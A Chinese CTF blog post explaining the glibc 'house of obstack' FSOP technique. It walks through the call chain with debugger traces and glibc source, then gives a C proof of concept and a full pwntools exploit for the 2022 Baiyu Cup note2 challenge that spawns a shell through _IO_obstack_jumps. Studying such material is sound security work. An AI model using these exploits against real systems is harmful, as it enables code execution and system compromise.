不知从哪翻出来的 house of obstack 学习总结

前言

又是从之前文档里面扒出来的一个总结,再来水一篇博客。这篇应该写的非常早了,大概是 23 年 7 月写的,当时还在卷 glibc堆,对这个 obstack 的链子印象挺深的。

house of obstack 是目前网上较多的叫法,它由国外 repr 提出,由于不确定作者给它起的名字到底是什么,姑且称它为 house of obstack。它与 house of apple 相似,主要是触发的调用链变了,但思想不变。相较于 house of apple 的优点是在 glibc2.36 依然可以使用并且布置起来更简单一些。

概述

house of obstack 是 large bin attack(或能达到同样效果的手法也可以)+ FSOP 组合出来的攻击,通过 large bin attack 向 _IO_list_all 中写入一个堆地址以此来伪造一个 IO_FILE 。在 glibc2.23 之后的版本针对 IO_FILE 结构体的 vtable 地址做了检查,该手法通过小幅度改变 vtable 地址,让执行流偏离了正常的调用链,通过伪造 IO_FILE 结构体中的某些字段,最终实现任意地址执行且参数可控的效果.

利用条件为:

  1. 可以泄露 libc 地址和堆地址
  2. 可以使用任意地址写一个堆地址(通常是使用 large bin attack )
  3. 可以从 main 函数返回或者调用 exit 函数

原理

说明: 以下的 glibc 源代码均来自 glibc-2.36

先来看下 exit 函数的宏观调用链

exit => __run_exit_handlers => _IO_cleanup => _IO_flush_all_lockp

第一次去改变 exit 正常的执行流是在这里的 _IO_OVERFLOW 这个宏 ,它位于 _IO_flush_all_lockp 函数中(如下)

int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;

......

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
......
return result;
}

伪造 IO_FILE 结构体时, vtable 也是可控的(对这个地址做了范围的合法性检查),将原本 vtable 中的 _IO_file_jumps 改成 _IO_obstack_jumps 可以绕过检查(二者的距离很近)

_IO_OVERFLOW 寻找的函数指针是位于起始地址(正常情况下的 _IO_file_jumps )偏移 0x18 的位置,因此我们只要将正常的 _IO_file_jumps 改成 _IO_obstack_jumps+32 ,实际上 _IO_OVERFLOW 执行的就是 _IO_obstack_jumps+32+0x18 的函数指针,该位置的函数指针为 _IO_obstack_xsputn (如下)

pwndbg> p &_IO_obstack_jumps 
$16 = (const struct _IO_jump_t *) 0x7ffff7e163c0 <_IO_obstack_jumps>
pwndbg> telescope 0x7ffff7e163c0+0x18+32
00:0000│ 0x7ffff7e163f8 (_IO_obstack_jumps+56) —▸ 0x7ffff7c88590 (_IO_obstack_xsputn) ◂— endbr64

根据上面所说的伪造完成后(先不考虑要绕过检查的字段),此时程序会执行到 _IO_obstack_xsputn 函数上,从该函数开始会存在一条调用链如下

_IO_obstack_xsputn => _obstack_newchunk => CALL_CHUNKFUN => (*(h)->chunkfun)((h)->extra_arg, (size))

如果执行 (*(h)->chunkfun)((h)->extra_arg, (size)) 时, h->chunkfun 是可控的地址,那就相当于能完全控制执行流了。下面通过调试来判断 CALL_CHUNKFUN 宏被调用时h 是什么

 RAX  0xfbad2086
RBX 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
RCX 0x0
RDX 0x0
RDI 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
RSI 0x1
R8 0x7fffffffdc80 —▸ 0x7ffff7e1af00 (initial) ◂— 0x0
R9 0x20
R10 0x0
R11 0x7fffffffdbb0 —▸ 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
*R12 0xfbad2086
R13 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
R14 0x0
R15 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
RBP 0x2
RSP 0x7fffffffdbb0 —▸ 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
*RIP 0x7ffff7ca773e (_obstack_newchunk+62) ◂— mov rax, qword ptr [rdi + 0x38]
────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────
0x7ffff7ca772b <_obstack_newchunk+43> movsxd rdx, dword ptr [rdi + 0x30]
0x7ffff7ca772f <_obstack_newchunk+47> lea r12, [rax + rdx + 0x64]
0x7ffff7ca7734 <_obstack_newchunk+52> mov rax, qword ptr [rdi]
0x7ffff7ca7737 <_obstack_newchunk+55> cmp r12, rax
0x7ffff7ca773a <_obstack_newchunk+58> cmovl r12, rax
► 0x7ffff7ca773e <_obstack_newchunk+62> mov rax, qword ptr [rdi + 0x38]
0x7ffff7ca7742 <_obstack_newchunk+66> test byte ptr [rdi + 0x50], 1
0x7ffff7ca7746 <_obstack_newchunk+70> je _obstack_newchunk+448 <_obstack_newchunk+448>

0x7ffff7ca774c <_obstack_newchunk+76> mov rdi, qword ptr [rdi + 0x48]
0x7ffff7ca7750 <_obstack_newchunk+80> mov rsi, r12
0x7ffff7ca7753 <_obstack_newchunk+83> call rax
─────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────
In file: /home/zikh/Desktop/source_code/glibc-2.35/malloc/obstack.c
256 new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
257 if (new_size < h->chunk_size)
258 new_size = h->chunk_size;
259
260 /* Allocate and initialize the new chunk. */
► 261 new_chunk = CALL_CHUNKFUN (h, new_size);
262 if (!new_chunk)
263 (*obstack_alloc_failed_handler)();
264 h->chunk = new_chunk;
265 new_chunk->prev = old_chunk;
266 new_chunk->limit = h->chunk_limit = (char *) new_chunk + new_size;

上面正在执行的 mov rax, qword ptr [rdi + 0x38] 是通过 h 来获取 h->chunkfun 的值,此时的 h 就是 rdi _IO_2_1_stderr_ 首地址( 这里我并没有去伪造一个新的 IO_FILE ,而是在原本的 _IO_2_1_stderr_ 结构体的基础上进行了部分字段的修改 ,也就是原本的 _IO_2_1_stderr_ 的地址上伪造了 _IO_obstack_file 结构体),因为我们最初需要劫持 _IO_list_all ,所以遍历的第一个 IO_FILE 结构体都是我们可控的,自然 h->chunkfun 也是可控的

​

再来看下 (*(h)->chunkfun)((h)->extra_arg, (size)) 中的参数 (h)->extra_arg 如何控制,单步调试到赋值参数的位置(如下)

 RAX  0x555555555179 (backdoor) ◂— endbr64 
RBX 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
RCX 0x0
RDX 0x0
RDI 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
RSI 0x1
R8 0x7fffffffdc80 —▸ 0x7ffff7e1af00 (initial) ◂— 0x0
R9 0x20
R10 0x0
R11 0x7fffffffdbb0 —▸ 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
R12 0xfbad2086
R13 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
R14 0x0
R15 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
RBP 0x2
RSP 0x7fffffffdbb0 —▸ 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
*RIP 0x7ffff7ca774c (_obstack_newchunk+76) ◂— mov rdi, qword ptr [rdi + 0x48]
────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────
0x7ffff7ca7737 <_obstack_newchunk+55> cmp r12, rax
0x7ffff7ca773a <_obstack_newchunk+58> cmovl r12, rax
0x7ffff7ca773e <_obstack_newchunk+62> mov rax, qword ptr [rdi + 0x38]
0x7ffff7ca7742 <_obstack_newchunk+66> test byte ptr [rdi + 0x50], 1
0x7ffff7ca7746 <_obstack_newchunk+70> je _obstack_newchunk+448 <_obstack_newchunk+448>

► 0x7ffff7ca774c <_obstack_newchunk+76> mov rdi, qword ptr [rdi + 0x48]
0x7ffff7ca7750 <_obstack_newchunk+80> mov rsi, r12
0x7ffff7ca7753 <_obstack_newchunk+83> call rax

0x7ffff7ca7755 <_obstack_newchunk+85> mov r13, rax
0x7ffff7ca7758 <_obstack_newchunk+88> test r13, r13
0x7ffff7ca775b <_obstack_newchunk+91> je _obstack_newchunk+465 <_obstack_newchunk+465>
─────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────
In file: /home/zikh/Desktop/source_code/glibc-2.35/malloc/obstack.c
256 new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
257 if (new_size < h->chunk_size)
258 new_size = h->chunk_size;
259
260 /* Allocate and initialize the new chunk. */
► 261 new_chunk = CALL_CHUNKFUN (h, new_size);
262 if (!new_chunk)
263 (*obstack_alloc_failed_handler)();
264 h->chunk = new_chunk;
265 new_chunk->prev = old_chunk;
266 new_chunk->limit = h->chunk_limit = (char *) new_chunk + new_size;

此时的 mov rdi, qword ptr [rdi + 0x48] 是进行参数的赋值, rdi 现在为 _IO_2_1_stderr_ ,这意味着参数也是我们可控的。最终只要能让执行流走到这里,就能够任意地址执行并且参数可控(后续无论是执行 system("/bin/sh") 还是走 orw 都可以)

下面来列一下,执行流走到这里都需要哪些字段进行伪造

//_IO_flush_all_lockp函数
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)

根据上面的部分得知,fp->_mode <= 0 和 fp->_IO_write_ptr > fp->_IO_write_base 要同时满足

_IO_obstack_xsputn (FILE *fp, const void *data, size_t n)
{
struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;

if (fp->_IO_write_ptr + n > fp->_IO_write_end)
{
int size;
obstack_blank_fast (obstack, fp->_IO_write_ptr - fp->_IO_write_end);
obstack_grow (obstack, data, n);//此处的obstack_grow是可以触发到obstack_newchunk的宏
......
}

根据这部分代码得知 if (fp->_IO_write_ptr + n > fp->_IO_write_end) 要满足

# define obstack_grow(OBSTACK, where, length)				      \
__extension__ \
({ struct obstack *__o = (OBSTACK); \
int __len = (length); \
if (__o->next_free + __len > __o->chunk_limit) \
_obstack_newchunk (__o, __len); \
memcpy (__o->next_free, where, __len); \
__o->next_free += __len; \
(void) 0; })

这个 obstack_grow 宏要触发到 _obstack_newchunk ,需要满足条件 __o->next_free + __len > __o->chunk_limit

# define CALL_CHUNKFUN(h, size) \
(((h)->use_extra_arg) \
? (*(h)->chunkfun)((h)->extra_arg, (size)) \
: (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))

如果想控制 rdi 的话,需要触发 (*(h)->chunkfun)((h)->extra_arg, (size)) 。这里使用了一个三目运算符,当 ((h)->use_extra_arg) 为 TRUE 时,参数就为可控

总结一下,需要伪造的字段

  1. fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
  2. fp->_IO_write_ptr + n > fp->_IO_write_end
  3. __o->next_free + __len > __o->chunk_limit
  4. ((h)->use_extra_arg) == TRUE

上面有一些字段不属于 _IO_FILE 结构体,它们是 obstack 结构体中的,如下

struct obstack          /* control current object in current chunk */
{
long chunk_size; /* preferred size to allocate chunks in */
struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */
char *object_base; /* address of object we are building */
char *next_free; /* where to add next char to current object */
char *chunk_limit; /* address of char after current chunk */
union
{
PTR_INT_TYPE tempint;
void *tempptr;
} temp; /* Temporary for some macros. */
int alignment_mask; /* Mask of alignment for each object. */
/* These prototypes vary based on 'use_extra_arg', and we use
casts to the prototypeless function type in all assignments,
but having prototypes here quiets -Wstrict-prototypes. */
struct _obstack_chunk *(*chunkfun) (void *, long);
void (*freefun) (void *, struct _obstack_chunk *);
void *extra_arg; /* first arg for chunk alloc/dealloc funcs */
unsigned use_extra_arg : 1; /* chunk alloc/dealloc funcs take extra arg */
unsigned maybe_empty_object : 1; /* There is a possibility that the current
chunk contains a zero-length object. This
prevents freeing the chunk if we allocate
a bigger chunk to replace it. */
unsigned alloc_failed : 1; /* No longer used, as we now call the failed
handler on error, but retained for binary
compatibility. */
};

它和 _IO_FILE_plus 结构体都属于 _IO_obstack_file ,这里只需要知道它们的关系即可。

struct _IO_obstack_file
{
struct _IO_FILE_plus file;
struct obstack *obstack;
};

示例

POC

//GLIBC 2.35-0ubuntu3.1
//gcc poc.c -o poc -g
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int main()
{
size_t libc_base=(size_t)&printf-0x60770;
printf("libc_base @ 0x%lx\n",libc_base);

size_t system_addr=libc_base+0x50d60;
printf("system address @ 0x%lx\n",system_addr);

size_t bin_sh_addr=libc_base+0x1d8698;
printf("/bin/sh address @ 0x%lx\n",bin_sh_addr);

size_t *io_list_all=(size_t *)(libc_base+0x21a680);
printf("io_list_all address @ %p\n",io_list_all);

size_t io_obstack_jumps=libc_base+0x2163c0;
printf("io_obstack_jumps address @ 0x%lx\n",io_obstack_jumps);
size_t *ptr=malloc(0x400);
*(ptr + (0x18/8)) = 1;//_IO_read_base
*(ptr + (0x20/8)) = 0;//_IO_write_base
*(ptr + (0x28/8)) = 0x1;//_IO_write_ptr
*(ptr + (0x30/8)) = 0;//_IO_write_end
*(ptr + (0x38/8)) = (size_t)(system_addr);//_IO_buf_base
*(ptr + (0x48/8)) = bin_sh_addr;//_IO_save_base
*(ptr + (0x50/8)) = 1;//_IO_backup_base
*(ptr + (0xd8/8)) = (size_t)(io_obstack_jumps+32);//vtable
*(ptr + (0xe0/8)) = (size_t)ptr;

io_list_all[0]=(size_t)ptr;
exit(0);
}

这个 POC 是把 _IO_FILE_plus 和 obstack 结构体重叠布置在一起了(在实际的攻击中,重叠布置在一起,会省下很多字节,减少 payload 的长度)。该攻击最终通过 FSOP 触发,在 exit 函数执行时,刷新了 _IO_list_all 链表中的所有文件流,刷新时调用了 _IO_overflow ,至此执行流偏离了正常的调用链,逐步被劫持为我们指定的地址。

2022柏鹭杯-note2

一时间找不到很合适的题目,这里以 2022柏鹭杯-note2 作为例题

基本信息

zikh@Pwner-machine:~/Desktop/pwn2$ checksec note2
[*] '/home/zikh/Desktop/pwn2/note2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

本题存在一个 UAF 漏洞,并且可以无限次的使用 add 和 delete show 函数,size 被限定到了 0x200 以下,并且可以触发 exit 函数退出。( libc 版本为 2.35 ,移除了各类 hook )

解题思路

因为没有 edit 函数,因此我们考虑 double free ,但由于 key 机制的存在,无法直接在 tcache bin 直接打 double free,解决方法有两种,方法一是 house of botcake (本题可以打通,不过主要说一下第二个方法),方法二是填满 tcache bin ,然后在 fast bin中做出 double free ,再打 tcache poisoning 将 IO_list_all 申请出来写入堆地址,从而触发最后的 house of obstack。(具体 fastbin 中做出的 double free 是如何打出 tcache poisoning 的可以参考这篇 文章, safe-Linking 机制的绕过本文也不做提及)

house of obstack 的各个字段布局在下面的 EXP 中都进行了标注,并且上文也进行了详细的分析,所以具体的利用不再详细描述

EXP

from pwn import*
#context.log_level='debug'
p=process("./note2")
libc=ELF("libc.so.6")


def add(index,size,content):
p.sendlineafter(b"> ",str(1).encode())
p.sendlineafter(b"> ",str(index).encode())
p.sendlineafter(b"> ",str(size).encode())
p.sendlineafter(b"Enter content: ",content)

def show(index):
p.sendlineafter(b"> ",str(3).encode())
p.sendlineafter(b"> ",str(index).encode())

def delete(index):
p.sendlineafter(b"> ",str(2).encode())
p.sendlineafter(b"> ",str(index).encode())


for i in range(9):
add(i,0x100,b'a')
for i in range(8):
delete(i)
show(7)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))-0x219ce0
print('libc_base===>',hex(libc_base))

for i in range(8):
add(i,0x100,'a')

for i in range(9):
add(i,0x60,'a')

#---------------leak key----------------
delete(0)
show(0)
heap_base=(u64(p.recv(5).ljust(8,b'\x00')))<<12
print('heap_base===>',hex(heap_base))
#--------------------------------------
io_obstack_jumps=libc_base+0x2163c0
sys_addr=libc_base+0x50d60
heap_addr=0x1020+heap_base #位于io_list_all的chunk用户区


io_file=p64(0) # io_read_end
io_file+=p64(1) # obstack->next_free
io_file+=p64(0) # io_write_base
io_file+=p64(1) # io_write_ptr
io_file+=p64(0) # io_write_end
io_file+=p64(sys_addr) #rax
io_file+=p64(0) # _io_buf_end
io_file+=p64(heap_addr-0x10+0xe8) #rdi
io_file+=p64(1) # use_extra_arg
io_file+=p64(0)*16
io_file+=p64(io_obstack_jumps+0x20) #vtable
io_file+=p64(heap_addr-0x10) #obstack
io_file+=b'/bin/sh\x00'


add(9,0x200,io_file)
for i in range(1,7):
delete(i)

delete(7)
delete(8)
delete(7)


for i in range(7):
add(i,0x60,'a')

io_list_all=((heap_base+0xf40)>>12)^(libc_base+libc.symbols['_IO_list_all'])
add(7,0x60,p64(io_list_all))

add(0,0x60,'a')
add(0,0x60,'a')

add(0,0x60,p64(heap_addr-0x10))#get io_list_all
p.sendlineafter(b"> ",str(4))
p.interactive()

参考

SECCON CTF 2022 Quals] babyfile | repr (nasm.re)

一条新的glibc IO_FILE利用链:_IO_obstack_jumps利用分析 - 7resp4ss - 博客园 (cnblogs.com)